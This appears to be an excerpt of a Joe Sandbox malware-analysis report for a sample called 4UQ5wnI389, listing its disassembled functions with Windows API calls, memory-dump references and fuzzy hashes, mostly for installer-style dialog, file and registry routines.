Associated: 00000000.00000002.1938990466.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1939072407.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4UQ5wnI389.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 7739e01b11ed9e02f3c754170f73e593db9a2046c62570b976e55369a775b70d
Instruction ID: 5f0138a6a2c6563494c064dd15accf188ef387db15323854b273470b931b092f
Opcode Fuzzy Hash: 7739e01b11ed9e02f3c754170f73e593db9a2046c62570b976e55369a775b70d
Instruction Fuzzy Hash: 7AE0EC3221025AAFDF109E959D04EFB7B6CEB05360F044836FD15E6150D675E8619BA4

Function 00405F90 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(0040A230,00000000,00000000,00000000,00000000,0040E4D6,0040CED0,004033DE,0040CED0,0040E4D6,00414ED0,00004000,?,00000000,00403208,00000004), ref: 00405FA4

Memory Dump Source

Source File: 00000000.00000002.1938953238.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1938934541.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938972156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1939072407.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4UQ5wnI389.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 02dc4867d73beddbae7b6aa94ca18310df5187db1130d79069d379e72bcbc858
Instruction ID: 11bffb161eade2b6c2cb4bf4b25223a29cd6195b7324502744f40ed25e3c63a9
Opcode Fuzzy Hash: 02dc4867d73beddbae7b6aa94ca18310df5187db1130d79069d379e72bcbc858
Instruction Fuzzy Hash: 20E08C3220125BEBEF119E518C00AEBBB6CFB003A0F004432FD11E3180D234E9208BA8

Function 70142993 Relevance: 1.5, APIs: 1, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(7014505C,00000004,00000040,7014504C), ref: 701429B1

Memory Dump Source

Source File: 00000000.00000002.1972315766.0000000070141000.00000020.00000001.01000000.00000004.sdmp, Offset: 70140000, based on PE: true

Associated: 00000000.00000002.1972298784.0000000070140000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1972332397.0000000070144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1972350477.0000000070146000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70140000_4UQ5wnI389.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 3ce031b4c506b67f5dc998f1a24a55ecb7f4b4a95de88548cec81246f7500f72
Instruction ID: 5ef512bb3c3dd94bd9f64ec8bacd3484ad7ed6beb0d3288e3aefaf30a05edb2f
Opcode Fuzzy Hash: 3ce031b4c506b67f5dc998f1a24a55ecb7f4b4a95de88548cec81246f7500f72
Instruction Fuzzy Hash: B3F092BA500284DEC360CF2A8C647093FE0B70B318B70466AF98CD7A72E3744444CB91

Function 00406255 Relevance: 1.5, APIs: 1, Instructions: 19registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(00000000,00000000,00000000,?,?,00422708,?,?,004062E3,00422708,00000000,?,?,Call,?), ref: 00406279

Memory Dump Source

Source File: 00000000.00000002.1938953238.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1938934541.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938972156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1939072407.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4UQ5wnI389.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: a8e94fdf895113144ef30ac0413fc9f69bed743b5e5124c6f76e238eb3875bc5
Instruction ID: 7481b87947078d819ae160a747d33610cb99cd3c2235475b1dc937127606ac98
Opcode Fuzzy Hash: a8e94fdf895113144ef30ac0413fc9f69bed743b5e5124c6f76e238eb3875bc5
Instruction Fuzzy Hash: C1D0123210420DBBDF11AE90DD01FAB372DAF14714F114826FE06A4091D775D530AB14

Function 0040345D Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,0040315B,?), ref: 0040346B

Memory Dump Source

Source File: 00000000.00000002.1938953238.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1938934541.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938972156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1939072407.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4UQ5wnI389.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: d5a77a7b91dde00220c09aa0a832f43c90240fc94845358d4caa889c1b96a79f
Instruction ID: c7266a3154837caca095f11e7777f6dda2278cbf6cff4ee7664d3894fc3aa091
Opcode Fuzzy Hash: d5a77a7b91dde00220c09aa0a832f43c90240fc94845358d4caa889c1b96a79f
Instruction Fuzzy Hash: ECB01271240300BFDA214F00DF09F057B21AB90700F10C034B348380F086711035EB0D

Function 00404394 Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000028,?,00000001,004041BF), ref: 004043A2

Memory Dump Source

Source File: 00000000.00000002.1938953238.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1938934541.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938972156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1939072407.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4UQ5wnI389.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: bd7e8dc2c5871e064c502d82a01b6574672f0de651032f207fd53ed2aa40cebc
Instruction ID: e4171d0a4592585bcf4a2ca6fb2eaed9aff33c093be5cb9cf1e9125a9c9e1139
Opcode Fuzzy Hash: bd7e8dc2c5871e064c502d82a01b6574672f0de651032f207fd53ed2aa40cebc
Instruction Fuzzy Hash: 0EB09235290600ABDE214B40DE49F457A62E7A4701F008178B240640B0CAB200A1DB19

Function 7014121B Relevance: 1.3, APIs: 1, Instructions: 6memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNELBASE(00000040,?,7014123B,?,701412DF,00000019,701411BE,-000000A0), ref: 70141225

Memory Dump Source

Source File: 00000000.00000002.1972315766.0000000070141000.00000020.00000001.01000000.00000004.sdmp, Offset: 70140000, based on PE: true

Associated: 00000000.00000002.1972298784.0000000070140000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1972332397.0000000070144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1972350477.0000000070146000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70140000_4UQ5wnI389.jbxd

Similarity

API ID: AllocGlobal
String ID:
API String ID: 3761449716-0
Opcode ID: 232f6760b2226768eb9ec6fb8a957ec5d9c08dec651cb6c23da15f55f1fcf2ef
Instruction ID: d387b1d519a766a77e9deb815cf26efd01da970645bbd491af2411d5608350cd
Opcode Fuzzy Hash: 232f6760b2226768eb9ec6fb8a957ec5d9c08dec651cb6c23da15f55f1fcf2ef
Instruction Fuzzy Hash: 7CB01276A00000DFEF008B65CC06F343254F701301F244010FB04C25B1C1604C108534

Non-executed Functions

Function 0040558F Relevance: 66.8, APIs: 36, Strings: 2, Instructions: 284windowclipboardmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000403), ref: 004055ED
GetDlgItem.USER32(?,000003EE), ref: 004055FC
GetClientRect.USER32(?,?), ref: 00405639
GetSystemMetrics.USER32(00000002), ref: 00405640
SendMessageW.USER32(?,00001061,00000000,?), ref: 00405661
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 00405672
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 00405685
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 00405693
SendMessageW.USER32(?,00001024,00000000,?), ref: 004056A6
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 004056C8
ShowWindow.USER32(?,00000008), ref: 004056DC
GetDlgItem.USER32(?,000003EC), ref: 004056FD
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 0040570D
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 00405726
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 00405732
GetDlgItem.USER32(?,000003F8), ref: 0040560B

Part of subcall function 00404394: SendMessageW.USER32(00000028,?,00000001,004041BF), ref: 004043A2

GetDlgItem.USER32(?,000003EC), ref: 0040574F
CreateThread.KERNEL32(00000000,00000000,Function_00005523,00000000), ref: 0040575D
CloseHandle.KERNEL32(00000000), ref: 00405764
ShowWindow.USER32(00000000), ref: 00405788
ShowWindow.USER32(?,00000008), ref: 0040578D
ShowWindow.USER32(00000008), ref: 004057D7
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040580B
CreatePopupMenu.USER32 ref: 0040581C
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 00405830
GetWindowRect.USER32(?,?), ref: 00405850
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 00405869
SendMessageW.USER32(?,00001073,00000000,?), ref: 004058A1
OpenClipboard.USER32(00000000), ref: 004058B1
EmptyClipboard.USER32 ref: 004058B7
GlobalAlloc.KERNEL32(00000042,00000000), ref: 004058C3
GlobalLock.KERNEL32(00000000), ref: 004058CD
SendMessageW.USER32(?,00001073,00000000,?), ref: 004058E1
GlobalUnlock.KERNEL32(00000000), ref: 00405901
SetClipboardData.USER32(0000000D,00000000), ref: 0040590C
CloseClipboard.USER32 ref: 00405912

Strings

(7B, xrefs: 0040587D
{, xrefs: 004057F5

Memory Dump Source

Source File: 00000000.00000002.1938953238.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1938934541.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938972156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1939072407.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4UQ5wnI389.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: (7B${
API String ID: 590372296-525222780
Opcode ID: 1d1f977673fe441afad02026140f53aaec566053b515a361d3c8f7f727d52ca3
Instruction ID: ef9837d71be30d97cad1ad5ee6bf48d4101bac37d77d0ad6e239d9f51a57dc01
Opcode Fuzzy Hash: 1d1f977673fe441afad02026140f53aaec566053b515a361d3c8f7f727d52ca3
Instruction Fuzzy Hash: C4B16A70900608FFDB11AFA0DD85AAE7B79FB48355F00403AFA45B61A0CB754E52DF68

Function 00404850 Relevance: 23.0, APIs: 10, Strings: 3, Instructions: 275stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 0040489F
SetWindowTextW.USER32(00000000,?), ref: 004048C9
SHBrowseForFolderW.SHELL32(?), ref: 0040497A
CoTaskMemFree.OLE32(00000000), ref: 00404985
lstrcmpiW.KERNEL32(Call,00423728,00000000,?,?), ref: 004049B7
lstrcatW.KERNEL32(?,Call), ref: 004049C3
SetDlgItemTextW.USER32(?,000003FB,?), ref: 004049D5

Part of subcall function 00405A32: GetDlgItemTextW.USER32(?,?,00000400,00404A0C), ref: 00405A45

Part of subcall function 0040667C: CharNextW.USER32(?,*?|<>/":,00000000,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00435000,00403480,C:\Users\user\AppData\Local\Temp\,75573420,004036EF,?,00000006,00000008,0000000A), ref: 004066DF
Part of subcall function 0040667C: CharNextW.USER32(?,?,?,00000000,?,00000006,00000008,0000000A), ref: 004066EE
Part of subcall function 0040667C: CharNextW.USER32(?,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00435000,00403480,C:\Users\user\AppData\Local\Temp\,75573420,004036EF,?,00000006,00000008,0000000A), ref: 004066F3
Part of subcall function 0040667C: CharPrevW.USER32(?,?,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00435000,00403480,C:\Users\user\AppData\Local\Temp\,75573420,004036EF,?,00000006,00000008,0000000A), ref: 00406706

GetDiskFreeSpaceW.KERNEL32(004216F8,?,?,0000040F,?,004216F8,004216F8,?,00000001,004216F8,?,?,000003FB,?), ref: 00404A98
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404AB3

Part of subcall function 00404C0C: lstrlenW.KERNEL32(00423728,00423728,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404CAD
Part of subcall function 00404C0C: wsprintfW.USER32 ref: 00404CB6
Part of subcall function 00404C0C: SetDlgItemTextW.USER32(?,00423728), ref: 00404CC9

Strings

Call, xrefs: 004049B1, 004049B6, 004049C1
(7B, xrefs: 0040494D
A, xrefs: 00404973

Memory Dump Source

Source File: 00000000.00000002.1938953238.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1938934541.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938972156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1939072407.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4UQ5wnI389.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: (7B$A$Call
API String ID: 2624150263-413618503
Opcode ID: 60ed21fe2f328070877fcf4fb1291f079d9e461e65f212612ce38389da6d49e8
Instruction ID: 217fbe9c53fcac7a38d38ba6b36a95d3c52d9e466bb1b0d29fe77156d884dce9
Opcode Fuzzy Hash: 60ed21fe2f328070877fcf4fb1291f079d9e461e65f212612ce38389da6d49e8
Instruction Fuzzy Hash: 01A161F1A00205ABDB11EFA5C985AAF77B8EF84315F10803BF611B62D1D77C9A418B6D

Function 70141B5F Relevance: 20.1, APIs: 13, Instructions: 576stringlibrarymemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 7014121B: GlobalAlloc.KERNELBASE(00000040,?,7014123B,?,701412DF,00000019,701411BE,-000000A0), ref: 70141225

GlobalAlloc.KERNEL32(00000040,00001CA4), ref: 70141C6B
lstrcpyW.KERNEL32(00000008,?), ref: 70141CB3
lstrcpyW.KERNEL32(00000808,?), ref: 70141CBD
GlobalFree.KERNEL32(00000000), ref: 70141CD0
GlobalFree.KERNEL32(?), ref: 70141DB2
GlobalFree.KERNEL32(?), ref: 70141DB7
GlobalFree.KERNEL32(?), ref: 70141DBC
GlobalFree.KERNEL32(00000000), ref: 70141FA6
lstrcpyW.KERNEL32(?,?), ref: 70142140
GetModuleHandleW.KERNEL32(00000008), ref: 701421B5
LoadLibraryW.KERNEL32(00000008), ref: 701421C6
GetProcAddress.KERNEL32(?,?), ref: 70142220
lstrlenW.KERNEL32(00000808), ref: 7014223A

Memory Dump Source

Source File: 00000000.00000002.1972315766.0000000070141000.00000020.00000001.01000000.00000004.sdmp, Offset: 70140000, based on PE: true

Associated: 00000000.00000002.1972298784.0000000070140000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1972332397.0000000070144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1972350477.0000000070146000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70140000_4UQ5wnI389.jbxd

Similarity

API ID: Global$Free$lstrcpy$Alloc$AddressHandleLibraryLoadModuleProclstrlen
String ID:
API String ID: 245916457-0
Opcode ID: 4e07fb0e6df39c8046a48b59af174c3ad7651c919119a138fcd36041712ffeb5
Instruction ID: bb7b36a60e967995b7bd51c3b5c5dab60d58bead1dc87b26841c23045da75072
Opcode Fuzzy Hash: 4e07fb0e6df39c8046a48b59af174c3ad7651c919119a138fcd36041712ffeb5
Instruction Fuzzy Hash: 5322AC71D0020ADFCB228FA4C9846EDB7F5FB04315F72656EF16AE36A0D7B05A858B50

Function 00402104 Relevance: 1.6, APIs: 1, Instructions: 129comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(004084E4,?,00000001,004084D4,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 00402183

Memory Dump Source

Source File: 00000000.00000002.1938953238.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1938934541.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938972156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1939072407.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4UQ5wnI389.jbxd

Similarity

API ID: CreateInstance
String ID:
API String ID: 542301482-0
Opcode ID: 4630f11a642d4e3ef4f98d2454dc0e8d663bfbe8c95ddff176ede1b1d5b4d77b
Instruction ID: a370b0fa9b2e606d6813e98b4c017b265e4ea8c47d708310f479c561ceb58c7b
Opcode Fuzzy Hash: 4630f11a642d4e3ef4f98d2454dc0e8d663bfbe8c95ddff176ede1b1d5b4d77b
Instruction Fuzzy Hash: 80414A71A00208AFCF04DFE4C988A9D7BB5FF48314B24457AF915EB2E1DBB99981CB54

Function 00402868 Relevance: 1.5, APIs: 1, Instructions: 30fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,00000002), ref: 00402877

Memory Dump Source

Source File: 00000000.00000002.1938953238.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1938934541.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938972156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1939072407.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4UQ5wnI389.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 6fd2962910cdf18594a7907c322fc030c9e7a26b232b9d9b5d327205302d7dac
Instruction ID: e6f127318fd58302517648c6e406f49d0db104963aa8d987e753e5cb7f87edca
Opcode Fuzzy Hash: 6fd2962910cdf18594a7907c322fc030c9e7a26b232b9d9b5d327205302d7dac
Instruction Fuzzy Hash: EDF08271A14104EBDB10DBA4DA499AEB378EF14314F60467BF545F21E0DBB45D809B2A

Function 0040451E Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 204windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 004045BC
GetDlgItem.USER32(?,000003E8), ref: 004045D0
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 004045ED
GetSysColor.USER32(?), ref: 004045FE
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 0040460C
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 0040461A
lstrlenW.KERNEL32(?), ref: 0040461F
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 0040462C
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 00404641
GetDlgItem.USER32(?,0000040A), ref: 0040469A
SendMessageW.USER32(00000000), ref: 004046A1
GetDlgItem.USER32(?,000003E8), ref: 004046CC
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 0040470F
LoadCursorW.USER32(00000000,00007F02), ref: 0040471D
SetCursor.USER32(00000000), ref: 00404720
LoadCursorW.USER32(00000000,00007F00), ref: 00404739
SetCursor.USER32(00000000), ref: 0040473C
SendMessageW.USER32(00000111,00000001,00000000), ref: 0040476B
SendMessageW.USER32(00000010,00000000,00000000), ref: 0040477D

Strings

Call, xrefs: 004046FB
N, xrefs: 004046BA

Memory Dump Source

Source File: 00000000.00000002.1938953238.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1938934541.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938972156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1939072407.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4UQ5wnI389.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorlstrlen
String ID: Call$N
API String ID: 3103080414-3438112850
Opcode ID: c2d943e7d3074a80d89972f065d7b0d6c6867904808fb573d17a53c74c23d30b
Instruction ID: 26ae409e5f73424340e4bb55f347a499eb46e427c8d4328441e026d38e95c6c2
Opcode Fuzzy Hash: c2d943e7d3074a80d89972f065d7b0d6c6867904808fb573d17a53c74c23d30b
Instruction Fuzzy Hash: 4B6173B1900209BFDB109F60DD85EAA7B69FB84314F00853AFB05772E0D7789D52CB58

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,00429240,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000000.00000002.1938953238.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1938934541.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938972156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1939072407.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4UQ5wnI389.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: a62f14d8607f0cab4b909ce482175ba86ddefa50def87cd09a38214d4056f576
Instruction ID: b35030fe9107d9a8359b932f7918d2348922827c9ca57aaae851fe5b21190c6b
Opcode Fuzzy Hash: a62f14d8607f0cab4b909ce482175ba86ddefa50def87cd09a38214d4056f576
Instruction Fuzzy Hash: 92418A71800249AFCF058FA5DE459AFBBB9FF44310F00842AF991AA1A0C738E955DFA4

Function 00406034 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 130memorystringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,00000000,?,?,004061CF,?,?), ref: 0040606F
GetShortPathNameW.KERNEL32(?,00426DC8,00000400), ref: 00406078

Part of subcall function 00405E43: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E53
Part of subcall function 00405E43: lstrlenA.KERNEL32(00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E85

GetShortPathNameW.KERNEL32(?,004275C8,00000400), ref: 00406095
wsprintfA.USER32 ref: 004060B3
GetFileSize.KERNEL32(00000000,00000000,004275C8,C0000000,00000004,004275C8,?,?,?,?,?), ref: 004060EE
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 004060FD
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00406135
